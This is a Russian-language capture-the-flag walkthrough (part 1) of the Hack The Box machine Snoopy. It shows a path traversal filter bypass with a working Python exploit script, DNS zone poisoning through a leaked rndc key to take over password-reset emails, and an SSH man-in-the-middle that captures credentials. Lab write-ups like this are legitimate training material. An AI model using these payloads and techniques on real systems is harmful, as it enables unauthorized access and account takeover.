[HaHacking] HTB: Snoopy (Hard) — Pt. 1

[HaHacking] HTB: Snoopy (Hard) — Pt. 1

HaHacking

📊 О МАШИНЕ

  • Операционная система: Linux (🐧)
  • Сложность: Сложная (🔴)
  • Теги: [Path Traversal] [DNS] [sudo] [Git] [CVE] [Arbitrary File Write] [ClamAV] [Arbitrary File Read] [XXE]
app.hackthebox.com/machines/Snoopy


📝 СБОР ИНФОРМАЦИИ

Cервисы

Сбор данных об открытых портах, запущенных сервисах и (по возможности) дополнительное изучение сервисов с помощью скрипта nmapAutomator (к слову, он прекрасно подходит для использования на экзамене OSCP!):

nmapAutomator.sh -t Full -H 10.10.11.212
// Режим sudo необходим для проведения сканирования UDP портов

Поддомены

Домен, ассоциированный с веб-сервисом, запущенным на машине, соответствует шаблону, которого придерживаются авторы машин, и состоит из названия машины и домена верхнего уровня – "htb": snoopy.htb

Обратный просмотр DNS не обернулся успехом, однако доменное имя также можно обнаружить в качестве ссылки в документе, который размещён на главной странице сайта, доступного по ссылке http://10.10.11.212/, и который будет рассмотрен ниже среди содержимого основного сайта.


📌 Энумерация DNS: book.hacktricks.xyz/.../pentesting-dns#enumeration ;
📌 Запрос AXFR: book.hacktricks.xyz/.../pentesting-dns#zone-transfer ;

Сбор информации о домене snoopy.htb через запрос на полную передачу зоны (AXFR) с помощью утилиты dig:

dig AXFR @10.10.11.212 snoopy.htb
Поддомены snoopy.htb
Внешний вид главной страницы сайта snoopy.htb
Внешний вид сайта mm.snoopy.htb

Содержимое основного сайта

1) Перебор путей сайта snoopy.htb с помощью утилиты ffuf и словаря common.txt из набора словарей SecLists:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://snoopy.htb/FUZZ -t 1 -c -ac -r
Найденные пути
  • Флаг -t число = Число параллельных потоков
  • Флаг -c = Отображение цвета в зависимости от HTTP кода ответа
  • Флаг -ac = Автоматическая калибровка настроек
  • Флаг -r = Следовать за перенаправлением


2) Страницы с информацией о команде могут быть полезны для сбора социальных сетей, контактных данных сотрудников и определения шаблона именования сотрудников внутри компании.

Так, например, на странице snoopy.htb/team.html раскрываются адреса электронных почт некоторых сотрудников: cschultz@snoopy.htb, sbrown@snoopy.htb, hangel@snoopy.htb, lpelt@snoopy.htb

Страница с информацией о команде


3) Страница snoopy.htb/contact.html содержит адрес электронной почты info@snoopy.htb и форму для связи с компанией, но в то же время предупреждает о невозможности доставки писем на почты сервиса mail.snoopy.htb в связи с миграцией DNS записей на новый домен:

Страница с формой для связи


4) На главной странице сайта snoopy.htb предлагается скачать пресс-релиз по ссылке snoopy.htb/download или объявление по ссылке snoopy.htb/download?file=announcement.pdf:

Оба варианта возвращают архив press_release.zip, который в зависимости от выбранной гиперссылки будет содержать либо пресс-релиз (файлы announcement.pdf и snoopysec_marketing.mp4), либо объявление (файл announcement.pdf внутри папки press_package).

Содержание архива с пресс-релизом

Из документа announcement.pdf можно узнать о роде деятельности компании (DevSecOps tooling), используемом доменном имени (www.snoopy.htb) и получить ещё один адрес электронной почты (pr@snoopy.htb):

Содержание документа announcement.pdf

Из видеофайла snoopysec_marketing.mp4 также можно узнать о роде деятельности компании и используемом домене (snoopy.htb):

Кадр из видеофайла snoopysec_marketing.mp4

Можно заметить, что оба файла имеют отношение к сотруднику Sally Brown (sbrown@snoopy.htb).

// Процесс более детального изучения предоставленных файлов (метаданные, человекочитаемые строки, потенциально хранящиеся внутри файлы, ...) оказался неплодотворным.


🔒 ЭКСПЛУАТАЦИЯ: cbrown

Relative Path Traversal

📌 PortSwigger про Path Traversal: portswigger.net/.../file-path-traversal
📌 OWASP про Path Traversal: owasp.org/.../Path_Traversal

Обращая внимание на конечную точку snoopy.htb/download, поскольку имя скачиваемого пользователем файла передаётся в параметре запроса "file", как в случае snoopy.htb/download?file=announcement.pdf, стоит обратить внимание на указанный параметр.

Запрос файла-объявления announcement.pdf

Запрашиваемый файл архивируется. Его содержимое не отображается в контексте страницы и он не исполняется сервером. Таким образом, первоочерёдно имеет смысл тестировать параметр "file" на уязвимость к Path Traversal, которая приводила бы к извлечению пользователем файлов, находящихся вне предполагаемых рамок.

Запрос с указанием абсолютного пути к желаемому файлу (/etc/passwd) в качестве значения параметра запроса "file" возвращает пустой ответ:

curl -o press_release.zip 'http://snoopy.htb/download?file=/etc/passwd'
Запрос с указанием абсолютного пути

Запрос с указанием относительного пути к желаемому файлу (../../../../../../etc/passwd) в качестве значения параметра запроса "file" также возвращает пустой ответ:

curl -o press_release.zip 'http://snoopy.htb/download?file=../../../../../../etc/passwd'
Запрос с указанием относительного пути

Оба запроса не привели к извлечению файла /etc/passwd – это может означать обработку значения параметра на стороне сервера во избежание эксплуатации уязвимости.


📌 Варианты полезной нагрузки для Path Traversal: github.com/swisskyrepo/PayloadsAllTheThings/.../Directory Traversal

Одним из вариантов обработки может быть фильтрация конструкции "../", тогда уязвимость к Path Traversal зависит от качества этой фильтрации. Если фильтрация производится единоразово, то становится возможным внедрение конструкции "../" внутрь другой такой же конструкции, то есть использование, например, "..././" или "....//" для образования необходимой конструкции "../" уже в результате фильтрации, так как фильтрация произведёт вычленение той "../", которая в перечисленных случаях разделяет подстроки, которые впоследствии совместившись образуют "../".


Использование конструкции "..././" вместо "../" действительно позволяет обойти реализованный механизм защиты и извлечь произвольный файл:

curl -o press_release.zip 'http://snoopy.htb/download?file=..././..././..././..././..././etc/passwd'
Успешная эксплуатация Path Traversal

Я написала следующий скрипт на языке Python для интерактивного взаимодействия с конечной точкой:

Скрипт для интерактивного взаимодействия со snoopy.htb/download
from requests import get
from zipfile import ZipFile
from io import BytesIO

def exploit(filepath):
    url = "http://snoopy.htb/download"
    path = f"{'....//' * 5}{filepath}"
    params = {"file": path}

    res = get(url, params=params)

    if len(res.content) > 0:
        zip = ZipFile(BytesIO(res.content))
        zip.extractall("/tmp/snoopy")

        print("[+] File contents: ")
        try:
            with open(f"/tmp/snoopy/press_package{filepath}", 'r') as f:
                print(f.read())
        except:
            with open(f"/tmp/snoopy/press_package{filepath}", 'rb') as f:
                print(f.read())
    else:
        print("[-] Empty response!\n")


def main():
    print("Snoopy HTB: Path Traversal - /download?file=FILE")
    print("Please, enter an absolute path to the file.\n")
    while True:
        try:
            filepath = input("[*] Filepath: ")
            exploit(filepath)
        except KeyboardInterrupt:
            break
    print("\n\nBye!")


if __name__ == "__main__":
    main()

При каждом вводе пользователем абсолютного пути к желаемому файлу, скрипт запрашивает указанный файл у snoopy.htb/download. При непустом ответе – пробует разархивировать полученный архив и вывести содержимое хранящегося внутри него файла пользователю:

Пример использования скрипта

Возвращаясь к ранее запрашиваемому /etc/passwd, его содержимое, помимо прочего, указывает на наличие пользователей cbrown, sbrown, clamav, lpelt, cschultz, vgray:

Использование скрипта для сбора информации о пользователях


📌 Конфигурационные файлы DNS: book.hacktricks.xyz/.../pentesting-dns#config-files

Вспоминая про миграцию DNS записей на новый домен, а в связи с тем – выключение почтового сервиса, может быть полезным просмотреть содержимое конфигурационных файлов DNS для последующего потенциального захвата контроля над mail.snoopy.htb и использования этого контроля для входа в Mattermost (mm.snoopy.htb) в качестве одного из сотрудников компании.

Список таких конфигурационных файлов:

  • /etc/resolv.conf
  • /etc/bind/named.conf
  • /etc/bind/named.conf.local
  • /etc/bind/named.conf.options
  • /etc/bind/named.conf.log

Один из перечисленных файлов, /etc/bind/named.conf, содержит в себе секрет:

Содержимое конфигурационного файла /etc/bind/named.conf


DNS Zone Poisoning

📌 Про секрет: exploit-notes.hdks.org/.../dns-pentesting/#update-dns-zone
📌 Получение чужой почты: exploit-notes.hdks.org/.../receive-email-as-another-address

Этот секрет можно использовать с nsupdate для указания серверу имён зоны DNS обновить свою базу данных, что, в свою очередь, можно использовать для связки своего IP адреса с доменным именем mail.snoopy.htb:

nsupdate -d -y hmac-sha256:rndc-key:**************
> server snoopy.htb
> update add mail.snoopy.htb 86400 IN A 10.10.***.***
> send
Обновление DNS зоны

Для получения почты необходимо запустить SMTP сервер. Это можно сделать, например, с помощью модуля smtpd для Python:

python2 -m smtpd -d -n <IP>:25
Запуск SMTP сервера
  • Флаг -d = Режим отладки для подробного вывода
  • Флаг -n = Не выставлять "nobody" в качестве uid
  • В качестве аргумента также необходимо указать свой IP адрес.

Теперь в Mattermost можно произвести сброс пароля любого из сотрудников, с аккаунтом которого связана электронная почта, ассоциированная с доменом snoopy.htb, поскольку письмо с ссылкой для сброса пароля придёт на подконтрольный атакующему SMTP сервер.

С учётом частого упоминания пользователя sbrown, сбросила её пароль:

Успешный запрос сброса пароля пользователя sbrown
Письмо с ссылкой для сброса пароля пользователя sbrown
Ввод нового пароля для пользователя sbrown
Вход в Mattermost в качестве пользователя sbrown

Пользователь sbrown cостоит в двух каналах: "Off-Topic" и "Town Square".

Из сообщений на канале "Town Square" становится известным факт наличия ещё одного канала, созданного пользователем cbrown. Его предназначение заключается в подаче запросов на выделение серверов:

Первые сообщения на канале "Town Square"

Для получения доступа к новому каналу нужно получить доступ к аккаунту пользователя cbrown – повторить процедуру сброса пароля:

Письмо с ссылкой для сброса пароля пользователя cbrown

Действительно, пользователь cbrown состоит в канале "Server Provisioning", в котором также находится пользователь admin, чей аккаунт ассоциирован с почтой admin@local.htb:

Пользователь admin на канале "Server Provisioning"

Канал не содержит сообщений, но предлагает для использования команду /server_provision:

Список команд на канале "Server Provisioning"

Вызов команды /server_provision приводит к открытию всплывающего окна с формой для подачи запросов на выделение серверов:

Всплывающее окно с формой для подачи запросов на выделение серверов

Секция "Operating System" содержит опции для Windows и Linux и для каждой опции указывает TCP порт:

Всплывающее окно с формой для подачи запросов на выделение серверов

Если отправить форму, указав в качестве IP адреса сервера свой IP адрес и установив на прослушивание указанный в форме TCP порт 2222 через утилиту netcat, то от 10.10.11.212 поступит подключение и информация об используемом SSH клиенте:

nc -nvlp 2222
Входящее подключение к порту 2222


Man-in-the-Middle атака на SSH

📌 Про SSH MitM: book.hacktricks.xyz/.../pentesting-ssh#ssh-mitm

Машина атакующего и целевая машина находятся в одной локальной сети. В случае если целевая сторона производит попытку SSH подключения, то с помощью инструмента ssh-mitm возможен перехват используемого логина и пароля.


📌 Про проброс портов: book.hacktricks.xyz/.../tunneling-and-port-forwarding

Исходя из документации к ssh-mitm, на прослушивание настраивается порт 10022. Раз внешняя попытка подключения происходит исключительно через 2222 порт – необходимо пробросить порты, чтобы данные, посылаемые 2222 порту, дублировались 10022 порту, который прослушивается ssh-mitm.

Это можно сделать, например, с помощью утилиты socat:

socat TCP4-LISTEN:2222,fork TCP4:127.0.0.1:10022


После этого необходимо запустить ssh-mitm и отправить форму-запрос на подключение сервера через Mattermost.

ssh-mitm server --remote-host snoopy.htb
Проброс портов, запуск ssh-mitm и получение логина и пароля пользователя через SSH подключение

С использованием перехваченных логина и пароля становится возможной аутентификация по SSH в качестве пользователя cbrown на целевой машине:

ssh cbrown@snoopy.htb
Успешное подключение по SSH в качестве пользователя cbrown@snoopy.htb с использованием пароля

Тем не менее, у пользователя cbrown нет флага и нет доступа к просмотру домашних директорий других пользователей.


Report Page